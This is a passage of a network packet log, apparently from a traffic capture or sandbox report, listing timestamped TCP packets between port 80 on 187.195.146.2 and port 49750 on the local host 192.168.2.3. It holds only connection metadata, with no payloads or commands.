Aug 31, 2022 08:34:15.008960962 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008981943 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.008990049 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.009005070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.009021044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.009023905 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.009085894 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.011666059 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.011702061 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.011718988 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.011878014 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.026307106 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.026361942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.026380062 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.026571035 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.069158077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069201946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069219112 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069242001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069246054 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.069264889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069274902 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.069281101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069303036 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069324970 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.069325924 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069343090 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.069355011 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.069392920 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.142025948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142065048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142083883 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142106056 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142126083 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142131090 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.142142057 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142162085 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142183065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142195940 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.142203093 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142220974 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.142222881 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142244101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142261028 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142276049 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142292976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142302036 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.142313004 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.142326117 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.142357111 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.146025896 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146066904 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146084070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146102905 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146123886 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146142006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146147966 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.146162033 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146181107 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146190882 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.146195889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146218061 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.146218061 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146239996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146255016 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146262884 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.146276951 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146298885 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146307945 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.146315098 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146331072 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.146336079 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.146363020 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.149849892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.149882078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.149904013 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.149925947 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.149940968 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.149961948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.149985075 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.149991989 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.150007010 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150018930 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.150024891 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150046110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150053978 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.150070906 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150074959 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.150089025 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150110006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150113106 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.150135040 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150150061 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150160074 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.150176048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.150211096 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.153723001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153753996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153772116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153789043 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153806925 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153821945 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153846979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153865099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153877020 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.153884888 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153908968 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153929949 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153933048 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.153950930 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153971910 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153989077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.153990984 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.154011965 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.154031038 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.154031992 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.154050112 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.154055119 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.154097080 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.157593012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.157629967 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.157644987 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.157663107 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.157682896 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.157700062 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.157722950 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.157751083 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.161087036 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161122084 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161138058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161158085 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161179066 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161195993 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161195993 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.161217928 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161237955 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161247015 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.161254883 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.161278009 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.163947105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.163976908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.163994074 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.164010048 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.164036989 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.166827917 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.166858912 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.166876078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.166898966 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.166925907 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.166928053 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.166945934 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.166965961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.166980982 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.166987896 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167006969 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167018890 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.167027950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167049885 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.167051077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167068958 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167069912 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.167089939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167114019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167117119 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.167131901 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.167151928 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.169572115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.169609070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.169626951 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.169672012 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.169717073 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.183901072 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.183945894 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.183962107 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.184052944 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.224534035 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224580050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224600077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224617004 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224637032 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224652052 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224669933 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.224672079 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224693060 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224708080 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.224714041 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.224761009 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.227387905 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.296760082 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.296796083 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.296818972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.296900034 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.300893068 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.300929070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.300944090 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.300964117 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.300981045 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.300982952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301002026 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301021099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301023006 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.301037073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301043034 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.301059961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301071882 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.301080942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301094055 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.301130056 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301166058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301175117 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.301182032 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301201105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301223040 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301229000 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.301239014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.301254988 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.304943085 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.304979086 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305000067 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305013895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305026054 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.305033922 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305047989 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.305053949 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305068970 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305088043 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.305089951 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305115938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305126905 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.305130959 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.305171013 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.308665037 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308701038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308717012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308737993 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308759928 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308773994 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308778048 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.308792114 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.308795929 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308818102 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308820009 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.308834076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.308837891 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.308873892 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.323251963 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323288918 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323304892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323324919 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323456049 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.323474884 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323498011 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323518991 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323534012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323544979 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.323555946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323570013 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323570013 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.323589087 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323599100 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.323602915 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323622942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323638916 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323656082 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.323658943 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323681116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323683023 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.323698997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.323719025 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.326806068 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326837063 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326854944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326874971 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326895952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326905966 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.326914072 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326936007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326937914 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.326957941 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326973915 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.326978922 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.326996088 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.327007055 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.327016115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.327035904 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.327053070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.327054024 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.327074051 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.327095985 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.327111006 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.327114105 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.327136993 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330307007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330368996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330388069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330411911 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330435991 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330455065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330454111 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330471992 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330481052 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330495119 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330507040 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330523014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330523014 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330545902 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330559015 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330569983 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330585003 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330602884 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330609083 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330631971 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.330646992 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.330651999 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.331688881 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.333765030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333794117 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333811045 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333831072 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333851099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333867073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333888054 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333908081 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333919048 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.333925009 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333945990 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333966970 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333982944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.333993912 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.333997965 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:15.334002972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.334024906 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:15.334041119 CEST	80	49750	187.195.146.2	192.168.2.3
